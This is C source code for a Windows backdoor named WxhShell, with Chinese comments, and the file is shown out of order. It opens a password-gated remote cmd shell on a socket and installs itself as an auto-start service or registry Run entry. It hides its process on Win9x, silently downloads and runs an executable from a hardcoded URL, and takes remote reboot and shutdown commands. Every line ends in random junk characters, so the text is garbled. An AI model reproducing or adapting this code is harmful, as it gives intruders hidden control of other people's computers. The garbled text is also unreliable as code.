    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +J#H9>To!  
    if(Boot(SHUTDOWN)) }}Q|O]e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :jUd?(  
    else { lSbAZ6  
    closesocket(wsh); Qp-nr]  
    ExitThread(0); 3z5,4ps  
    } DE. Pw+5<.  
    break; 9@:&E  
    } i5)trSM|  
  // 获取shell *1>XlVx,  
  case 's': { 9g 2x+@5T^  
    CmdShell(wsh); .j;My%)?p  
    closesocket(wsh); ); $~/H4  
    ExitThread(0); {N _v4})  
    break; 2o/AH \=2  
  } 38  B\ \  
  // 退出 ^ ]`<nO  
  case 'x': { X?1 :Z|pJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ b#9^2o  
    CloseIt(wsh); (j cLzq  
    break; B8;ZOLAU  
    } 3K54:  
  // 离开 6o{anHBB  
  case 'q': { ,@[Q:fY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gp$+Qd  
    closesocket(wsh); 8LiRZ"  
    WSACleanup(); q4U?}=PD  
    exit(1); i{ %~&!  
    break; !8P#t{2_|  
        } e[{LNM{/#  
  } .Sb|+[{  
  } Y6g[y\*t  
=3& WH0  
  // 提示信息 }F@`A?k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g fO.Ky6  
} <QszmE  
  } (*hA0&n  
b z<wihZj  
  return; EJL45R>  
} mu:Q2t^  
SX*os$  
// shell模块句柄 SHh g&~B  
int CmdShell(SOCKET sock) }*? e w  
{ d5bj$oH  
STARTUPINFO si; hBN!!a|l  
ZeroMemory(&si,sizeof(si)); ) Oa"B;\j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r^Gl~sX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; drN^-e  
PROCESS_INFORMATION ProcessInfo; d~28!E+  
char cmdline[]="cmd"; NB16O !r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zso .3FR,  
  return 0; #H5*]"w6I  
} OPKm^}  
5#:tL&q  
// 自身启动模式 U,g!KN3P  
int StartFromService(void) BHU(Hd  
{ .F%!zaVIu  
typedef struct e6{/e+/R  
{ :*Ckq~[Hg  
  DWORD ExitStatus; ] niWRl  
  DWORD PebBaseAddress; S _#UEf  
  DWORD AffinityMask; ;'cv?3Y  
  DWORD BasePriority; @tp/0E?  
  ULONG UniqueProcessId; rLP4l~V   
  ULONG InheritedFromUniqueProcessId; U:8^>_  
}   PROCESS_BASIC_INFORMATION; J!S3pS5j  
0Z9jlwcQ  
PROCNTQSIP NtQueryInformationProcess; C'mmo&Pd  
v*#Z{)r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 12cfqIo9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {feS-.Khv  
,riwxl5*E/  
  HANDLE             hProcess; h2,A cM  
  PROCESS_BASIC_INFORMATION pbi; |a'Q^aT  
,Hp9Gkm8I/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m,=$a\UC  
  if(NULL == hInst ) return 0; +n)(\k{  
R2M,VK?Wx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zSkM8LM2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b8QW^Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jbs:}]2  
9>zN 27  
  if (!NtQueryInformationProcess) return 0; =U@*adgw  
eIg2m <9u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  )?4m}  
  if(!hProcess) return 0; ]`u{^f  
BH*vsxe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k&^Megcb  
-3KB:K<  
  CloseHandle(hProcess); 4"7Qz z  
 .# M 5L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h8S%Q|-  
if(hProcess==NULL) return 0; RRq*CLj  
%/U Q0d~b  
HMODULE hMod; s?_b[B d  
char procName[255]; {uckYx-A  
unsigned long cbNeeded; gqe z-  
]qpcA6%a|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q/0}AQO  
A.<X78!^  
  CloseHandle(hProcess); -j<UhW  
40@KL$B=  
if(strstr(procName,"services")) return 1; // 以服务启动 ^,`Lt *  
:0srFg?X  
  return 0; // 注册表启动 Ufo- AeQo  
} mexI }  
4NEk#n  
// 主模块 k $+&  
int StartWxhshell(LPSTR lpCmdLine) S>H W`   
{ WG^D$L:  
  SOCKET wsl; yp :yS  
BOOL val=TRUE; T;FzKfT|  
  int port=0; wvq<5gy}  
  struct sockaddr_in door; 8 3<kaeu,^  
tB1Qr**  
  if(wscfg.ws_autoins) Install(); }f({03$  
!C/`"JeYL  
port=atoi(lpCmdLine); 2_Pe/  
sH&8"5BT%  
if(port<=0) port=wscfg.ws_port; pXQ&2s$  
h@Hmo^!9J  
  WSADATA data; WcUeWGC>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |kVxrq  
q#WqU8~Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cb UVeh7Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MD1,KH+O  
  door.sin_family = AF_INET; {'X"9@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HX <;=m  
  door.sin_port = htons(port); 16aaIK  
*}2o \h6Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /\\C&Px  
closesocket(wsl); vhUuf+P*  
return 1; B! -W765Y  
} Sa<R8X' J  
LLU>c]a  
  if(listen(wsl,2) == INVALID_SOCKET) { LpF6e9V\Wp  
closesocket(wsl); 1yE~#KpH  
return 1; ''WX  
} q$HBPR4h  
  Wxhshell(wsl); kW(8i}bg  
  WSACleanup(); `[ne<F?e  
v=W%|iZ  
return 0; .^v7LF]Q  
PB9<jj;  
} I~mw\K{.3M  
%? iE3j!q  
// 以NT服务方式启动 g6*}& .&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dk3\~m%Pv  
{ km3-Hp1  
DWORD   status = 0; xr?r3Y~^e  
  DWORD   specificError = 0xfffffff; CiMN J  
=|G PSRQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }u|0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h knobk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3Y r   
  serviceStatus.dwWin32ExitCode     = 0; xt-;7  
  serviceStatus.dwServiceSpecificExitCode = 0; 4mPg; n  
  serviceStatus.dwCheckPoint       = 0; >MhkNy  
  serviceStatus.dwWaitHint       = 0; dvxH:,  
,Y&kW'2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZERd#7@m+  
  if (hServiceStatusHandle==0) return; Dbtw>:=  
!-7(.i-  
status = GetLastError(); t Y^:C[  
  if (status!=NO_ERROR) RSkpf94`  
{ -'I)2/%g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }y0UyOa{C  
    serviceStatus.dwCheckPoint       = 0; xW^<.@Agm  
    serviceStatus.dwWaitHint       = 0; iI _Fbw8  
    serviceStatus.dwWin32ExitCode     = status; 2Nj0 Hqjq  
    serviceStatus.dwServiceSpecificExitCode = specificError; &2Y>yFB ,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W:tE ?Hu  
    return; zU}0AVlIL:  
  } CBF>157B  
3 Zbvf^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $B(B  
  serviceStatus.dwCheckPoint       = 0; U 26Iz  
  serviceStatus.dwWaitHint       = 0; Y${ $7+@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]w')~yk  
} lc'Jn$O@  
)@sz\yI%U  
// 处理NT服务事件,比如:启动、停止 eH6#'M4+\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M2m@N-+R   
{ SWmdU]  
switch(fdwControl) *D9QwQ _|  
{ uS&bfx2  
case SERVICE_CONTROL_STOP: zz$*upxK  
  serviceStatus.dwWin32ExitCode = 0; V1Fdt+#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q"(i  
  serviceStatus.dwCheckPoint   = 0; g,q&A$Wi  
  serviceStatus.dwWaitHint     = 0; N(IUNL  
  { _ Fer-nQ2R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?=fJu\;  
  } $60+}B`m  
  return; "? R$9i  
case SERVICE_CONTROL_PAUSE: R!-RSkB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E>7[ti_p5  
  break; MbJV)*Q  
case SERVICE_CONTROL_CONTINUE: muY4:F.C(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b0 5h,  
  break; J M`uIVnNA  
case SERVICE_CONTROL_INTERROGATE: 0{jRXa-(  
  break; @F=4B0=  
}; u'iOa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); le1'r>E$  
} T}zOM%]]  
~Ipl'cE  
// 标准应用程序主函数 ~xA' -N/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dvUJk<;w  
{ '|6j1i0x  
g~`UC  
// 获取操作系统版本 p;C`n)7P7  
OsIsNt=GetOsVer(); UZXnABg,J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bhFzu[B  
f^',J@9@  
  // 从命令行安装 M~^|dR)D  
  if(strpbrk(lpCmdLine,"iI")) Install(); J%%nv5y  
44cyD _(  
  // 下载执行文件 :vm*miOF  
if(wscfg.ws_downexe) { xKIm2% U9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *}LYMrP  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7Xw #  
} \N!k)6\  
&"25a[x{B  
if(!OsIsNt) { ?z?IEj}  
// 如果时win9x,隐藏进程并且设置为注册表启动 0OlB;  
HideProc(); eH75: `  
StartWxhshell(lpCmdLine); Xd{"+'29  
} r`mfLA]d  
else k(V#{ YP  
  if(StartFromService()) yht_*7.lM  
  // 以服务方式启动 MQLa+I,S4  
  StartServiceCtrlDispatcher(DispatchTable); w+[r$+z!k  
else T?Hs_u{  
  // 普通方式启动 \-c70v63X  
  StartWxhshell(lpCmdLine); %e=BC^VW  
Dy5'm?  
return 0; ,US]  
} c"6<p5j!  
~6E `6;`  
#dU-*wmJ  
3>c<E1   
=========================================== Fvl_5l  
> u~ l_?  
Y}ITA=L7  
l2._Z Py  
yX<Sk q  
"Q-TLN5(  
" #2/k^N4r  
_6xC4@~h*  
#include <stdio.h> ':6`M  
#include <string.h> <`n T+c  
#include <windows.h> ^vfp;  
#include <winsock2.h> 0c /xE<h  
#include <winsvc.h> P^T]Ubv"  
#include <urlmon.h> SW# 5px`  
FUiEayM  
#pragma comment (lib, "Ws2_32.lib") gT?:zd=;  
#pragma comment (lib, "urlmon.lib") 0%#ZupN  
IP9mv`[  
#define MAX_USER   100 // 最大客户端连接数 yC(xi"!  
#define BUF_SOCK   200 // sock buffer /X; [ 9&  
#define KEY_BUFF   255 // 输入 buffer :$L^l{gT  
MB%yC]w8  
#define REBOOT     0   // 重启 Me_.X_  
#define SHUTDOWN   1   // 关机 !^:b?M  
(V!:6  
#define DEF_PORT   5000 // 监听端口 T2Ms/1FH/@  
!.Eua3:V*  
#define REG_LEN     16   // 注册表键长度 M4~^tML>Ey  
#define SVC_LEN     80   // NT服务名长度 .}=gr+<bf  
n&y'Mb PB  
// 从dll定义API :G!i]1x<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >;:235'(M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4$~eG"wu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x2%xrlv<J/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Py_yIwQqg  
nc4KeEl  
// wxhshell配置信息 DI"KH)XD  
struct WSCFG { Y HSdaocp  
  int ws_port;         // 监听端口 mu@He&w"  
  char ws_passstr[REG_LEN]; // 口令 {(Jbgsxm  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1Tm,#o  
  char ws_regname[REG_LEN]; // 注册表键名 FN0)DN2d}  
  char ws_svcname[REG_LEN]; // 服务名 td@I ;d2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rom`%qp^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `#Z=cq^_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @{n"/6t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e98f+,E/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pL 2P .  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +&bJhX  
!Pd@0n4  
}; ktF\f[  
Fab gJu  
// default Wxhshell configuration S8>1l?UH  
struct WSCFG wscfg={DEF_PORT, w5Lev}Rb  
    "xuhuanlingzhe", .6C9N{?Tqf  
    1, B6UTooj  
    "Wxhshell", \Hb"bv  
    "Wxhshell",  %JoHc?  
            "WxhShell Service", ^hZZ5(</8P  
    "Wrsky Windows CmdShell Service", X/Sp!W-H  
    "Please Input Your Password: ", Mj!\EUn  
  1, Y2$wL9">  
  "http://www.wrsky.com/wxhshell.exe", c6-~PKJL  
  "Wxhshell.exe" aN UU' [  
    }; V) xwlvX  
ZQ1,6<^9i[  
// 消息定义模块 f^Io:V\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qL2!\zt>g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~  p~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 88uoA6Y8h  
char *msg_ws_ext="\n\rExit."; |!m8JV|x  
char *msg_ws_end="\n\rQuit."; d%,@,>>)  
char *msg_ws_boot="\n\rReboot..."; xB :]{9r  
char *msg_ws_poff="\n\rShutdown..."; >dK# tsp  
char *msg_ws_down="\n\rSave to "; E5iNuJj=f  
CWdpF>En  
char *msg_ws_err="\n\rErr!"; unvS`>)Np  
char *msg_ws_ok="\n\rOK!"; ZX0#I W  
u!CcTE*  
char ExeFile[MAX_PATH]; :;Xh`br  
int nUser = 0; {Qba`lOkq  
HANDLE handles[MAX_USER]; E%%iVFPX  
int OsIsNt; TGDrTyI?y  
/Z| K9a  
SERVICE_STATUS       serviceStatus; + *)Kyk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KOhK#t>H@0  
1`Z:/]hl  
// 函数声明 do[w&`jw8  
int Install(void); 7TW&=(  
int Uninstall(void); W\EvMV"  
int DownloadFile(char *sURL, SOCKET wsh); ]WYddiF  
int Boot(int flag); :8t;_f  
void HideProc(void); O>y*u8  
int GetOsVer(void); %w#z   
int Wxhshell(SOCKET wsl); kxCN0e#_  
void TalkWithClient(void *cs); +v+Dkyf:V  
int CmdShell(SOCKET sock); Ak kth*p  
int StartFromService(void); kD46Le++B  
int StartWxhshell(LPSTR lpCmdLine); )vD:  
}D]y -BbA.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bn:74,GeyK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <5!)5+G  
O03N$ Jq A  
// 数据结构和表定义 L[voouaqm  
SERVICE_TABLE_ENTRY DispatchTable[] = v%muno,  
{ a! 3eZ,  
{wscfg.ws_svcname, NTServiceMain}, rL,kDSLs  
{NULL, NULL} NT=)</v  
}; 1\aV4T  
}SFmv},Ij  
// 自我安装 7q&T2?GEN  
int Install(void) GYrUB59  
{ 5cj&D74o  
  char svExeFile[MAX_PATH]; LEg ?/!LIT  
  HKEY key; *X!+wK-+  
  strcpy(svExeFile,ExeFile); .npD<*  
&})Zqc3Lqk  
// 如果是win9x系统,修改注册表设为自启动 mtf><YU  
if(!OsIsNt) { [(; .D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T"DG$R,Aj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |RH^|2:x9Q  
  RegCloseKey(key); q{}U5(,{0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s54AM]a{j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +3 J5j+  
  RegCloseKey(key); 8dh ?JqX  
  return 0; Am<){&XT ]  
    } l!<(}?u9  
  } m~tv{#Y  
} V#+M lN  
else { 19bqz )  
q}]z8 L  
// 如果是NT以上系统,安装为系统服务 734H{,~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )`#SMLMy~  
if (schSCManager!=0) =)f.Yf|A*  
{ nTE\EZ+=2  
  SC_HANDLE schService = CreateService v2ab84 C*  
  ( je74As[  
  schSCManager, nj#kzD[n>  
  wscfg.ws_svcname, yPf,GB"  
  wscfg.ws_svcdisp, m0*_  
  SERVICE_ALL_ACCESS, O{Z bpa^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0pBG^I`_  
  SERVICE_AUTO_START, qgxGq(6K  
  SERVICE_ERROR_NORMAL, ] V,#>'  
  svExeFile, }-@h H(  
  NULL, 2UMX%+ "J  
  NULL, WS+uKb^<  
  NULL, "d*-k R  
  NULL, z>HM$n`YD  
  NULL au+ a7~0~  
  ); \98|.EG  
  if (schService!=0) L-|u=c-6  
  { L,3%}_  
  CloseServiceHandle(schService); 1`9'.w+r  
  CloseServiceHandle(schSCManager); loD:4e1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y+C6+I<3  
  strcat(svExeFile,wscfg.ws_svcname); + 7nA; C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eMjW^-RgE5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iwfH~  
  RegCloseKey(key); Lw6}b B`}  
  return 0; 17lc5#^L  
    } "4CO^ B  
  } DuRC1@e  
  CloseServiceHandle(schSCManager); RCMO?CBe  
} KS;Wr6]@(O  
} H6Kt^s<6xu  
:+ AqY(Gz  
return 1; :&m0eZZ%  
} npcL<$<6X  
960rbxKy3  
// 自我卸载 9j1 tcT  
int Uninstall(void) (o8?j^ -v  
{ cK t8e^P  
  HKEY key; 51puR8AG>  
`7_s@4:  
if(!OsIsNt) { R-5e9vyS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JjG>$z  
  RegDeleteValue(key,wscfg.ws_regname); &z"yls  
  RegCloseKey(key); (oB9$Zz!t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7.B]B,]  
  RegDeleteValue(key,wscfg.ws_regname); ?Q: KW  
  RegCloseKey(key); T0BM:ofx  
  return 0; /pz(s+4=  
  } ]ChN]>o  
} tH9BC5+r}  
} $1myf Z  
else { =)2!qoE  
X-5&c$hv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \E,Fe:/g  
if (schSCManager!=0) ;%Zn)etu  
{ } "AGX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nNcmL/(  
  if (schService!=0) _"sFLe{  
  { G `JXi/#`  
  if(DeleteService(schService)!=0) { lISu[{b?  
  CloseServiceHandle(schService); d=:&tOCg2  
  CloseServiceHandle(schSCManager); M-NY&@Nj  
  return 0; )-d &XN7  
  } Z#|IMmT;*=  
  CloseServiceHandle(schService); H3jb{S b  
  } 8(0q,7)y  
  CloseServiceHandle(schSCManager); ] 73BJ  
} 3gY4h*|`<  
} GA@Zfcg  
ahm@ +/2  
return 1; wQ/FJoB  
} /(skIvE|  
D[R<H((  
// 从指定url下载文件 1R"ymWg"  
int DownloadFile(char *sURL, SOCKET wsh) [<7Vv_\Q  
{ +#R<emW  
  HRESULT hr; 7I<];j  
char seps[]= "/"; )qx,>PL  
char *token; 7eekTh, ?  
char *file; *27*&&=)H  
char myURL[MAX_PATH]; `Hq)g1a7q  
char myFILE[MAX_PATH]; q=h~zjQ?R  
&d^u$Y5  
strcpy(myURL,sURL); xt"GO  b  
  token=strtok(myURL,seps); 6s|4'!  
  while(token!=NULL) N>4uqFo  
  { y~pJ|E  
    file=token; f")*I  
  token=strtok(NULL,seps); @AU<'?k  
  } MPmsW &  
y #Xq@  
GetCurrentDirectory(MAX_PATH,myFILE); wH Q$F(by  
strcat(myFILE, "\\"); =~~Y@eX  
strcat(myFILE, file); \Q<Ur&J]%  
  send(wsh,myFILE,strlen(myFILE),0); pg'3j3JW$  
send(wsh,"...",3,0); $zuemjW3p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wIT}>8o  
  if(hr==S_OK) fUg I*V  
return 0; 7J@D})si  
else csF!*!tta  
return 1; x0!5z1KQh  
KW.QVBuVO#  
} DIu rFDQSS  
 uM9[  
// 系统电源模块 vQpR0IEf]e  
int Boot(int flag) v"&Fj  
{ :LwNOuavN  
  HANDLE hToken; 51k^?5cO  
  TOKEN_PRIVILEGES tkp; RjS&^u aP  
$Z;?d@6yI  
  if(OsIsNt) { //}[(9b'\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3+2&@:$t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oG)JH)!  
    tkp.PrivilegeCount = 1; V_g9oR_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `2@t) :  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eSgCS*}0$z  
if(flag==REBOOT) { {IW pI *  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )MKzAAt~  
  return 0; /f7Fv*z/  
} /v1Rn*VF!  
else { 1cyX9X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e'c~;Z\A  
  return 0; FasA f( 3  
} ;@@1$mzK  
  } OwwlQp ~!J  
  else { FSqS]6b3  
if(flag==REBOOT) { O&!tW^ih  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ncluA~8  
  return 0; 9@-^! DBM  
} MU^7(s="  
else { %<oey%ue  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~(xIG  
  return 0; `V@{#+X  
} #`C ;@#xr  
} L!7*U.+  
uhFj|r$$  
return 1; T3o}%wGW  
} eyZ /%4'q  
#L{QnV.3  
// win9x进程隐藏模块 9IKFrCO9,  
void HideProc(void) )jK"\'cK  
{ {ZH9W  
)POuH*j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L[d 7@  
  if ( hKernel != NULL ) W^W^5-'"D,  
  { `/'Hq9$F<"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zA&lJD $0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1.0S>+^JE  
    FreeLibrary(hKernel); {|%N  
  } ?L$ Dk5-W  
9}FWO&LiB  
return; ~O~c^fLH(B  
} J'O</o@e  
> _1*/o JO  
// 获取操作系统版本 <h2WM (n  
int GetOsVer(void) Vt:]D?\3  
{ adh=Kp e!w  
  OSVERSIONINFO winfo; VpJ/M(UD-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3u7N/OQ(  
  GetVersionEx(&winfo); E ?(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NamBJ\2E1[  
  return 1; 5tg  
  else 9cAb\5c|  
  return 0; AHP_B&s,Qe  
} maLKUSgo  
ZD] ^Y}  
// 客户端句柄模块  KAmv7  
int Wxhshell(SOCKET wsl) iK6L\'k  
{ 15_OtK  
  SOCKET wsh; mvI[=e*  
  struct sockaddr_in client; Au$|@  
  DWORD myID; D*Y4B ?,  
#CoJ S[t  
  while(nUser<MAX_USER) P=eVp(/x  
{ -$L53i&R  
  int nSize=sizeof(client); NIeT.!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sB ]~=vUP  
  if(wsh==INVALID_SOCKET) return 1; Crmxsw.W^Y  
{[PoLOCI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z9s tB>?  
if(handles[nUser]==0) !Ac<A.  
  closesocket(wsh); ~]DGf(   
else TmG$Cjf84  
  nUser++; }.Ht=E]  
  } _e$15qW+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q4<3 O"c1  
n'{cU(  
  return 0; )_OKw?Zi  
} I0=YIcH5  
- *!R  
// 关闭 socket '<~l% q  
void CloseIt(SOCKET wsh) }3F8[Td.~N  
{ wp`a:QZ8N  
closesocket(wsh); |B njT*_9  
nUser--; -Zd!0HNW1  
ExitThread(0); 1+RG@Cp  
} zlZ$t{[,  
Rz1&(_Ps  
// 客户端请求句柄 wQ qI@  
void TalkWithClient(void *cs) 7y:%^sl  
{ ~U#afGH$  
*{8K b>D  
  SOCKET wsh=(SOCKET)cs; G=!1P]M{  
  char pwd[SVC_LEN]; `uy)][j-  
  char cmd[KEY_BUFF]; 6wx;grt'Z  
char chr[1]; *z;4. OX  
int i,j; -`gqA%#+  
D ::),,  
  while (nUser < MAX_USER) { Juj"cjob  
9nlfb~ F~P  
if(wscfg.ws_passstr) { \];0S4SBy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XtVx H4q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wl #Bv,xf  
  //ZeroMemory(pwd,KEY_BUFF); Lt0JUUa0  
      i=0; #N_C| v/  
  while(i<SVC_LEN) { okJ+Yl.[?7  
m!5P5U x  
  // 设置超时 XRCiv  
  fd_set FdRead; J`a$"G B.  
  struct timeval TimeOut; ciVN-;vi  
  FD_ZERO(&FdRead); m8;; O  
  FD_SET(wsh,&FdRead); -hw^3Af  
  TimeOut.tv_sec=8; MW8GM}Ho[  
  TimeOut.tv_usec=0; 9 o6ig>C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nS)U+q-x&o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JsI` #  
*ndXZ64  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S/ )P&V%  
  pwd=chr[0]; J3gJSRT@P  
  if(chr[0]==0xd || chr[0]==0xa) { NrT!&>M  
  pwd=0; dO}6zQ\  
  break; [ZU6z?Pf  
  } <7R\ #  
  i++; m(SGE,("w  
    } Gs;wx_k^  
>%5Ld`c:SD  
  // 如果是非法用户,关闭 socket G=Hvh=K(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E|Mu1I]e  
} L,c@Z@  
x9q?^\x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U/9xO"b{.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F)_jW  
P*Va<'{:{  
while(1) { :,%~R2  
[E<NEl *  
  ZeroMemory(cmd,KEY_BUFF); ZN#mu]jC?  
T#kPn#|  
      // 自动支持客户端 telnet标准   #'[4k:  
  j=0; 5'wWj}0!%  
  while(j<KEY_BUFF) { chk1tFV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _|reo6  
  cmd[j]=chr[0]; #&<>|m  
  if(chr[0]==0xa || chr[0]==0xd) { =n .d'  
  cmd[j]=0; %0l'Nuz  
  break; b>SG5EqU@  
  } !m8MyZ}%  
  j++; OP0KK^#  
    } 5r)ndW,aN  
I^S gWC  
  // 下载文件 XE8>& & X  
  if(strstr(cmd,"http://")) { KSkT6_<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C$?gt-tJ'  
  if(DownloadFile(cmd,wsh)) 0Cd )w4C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VbX+`CwH  
  else A) {q 7WI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7u7`z%  
  } ]e`&py E  
  else { lz1RAp0R "  
ou8V7  
    switch(cmd[0]) { I!sh+e  
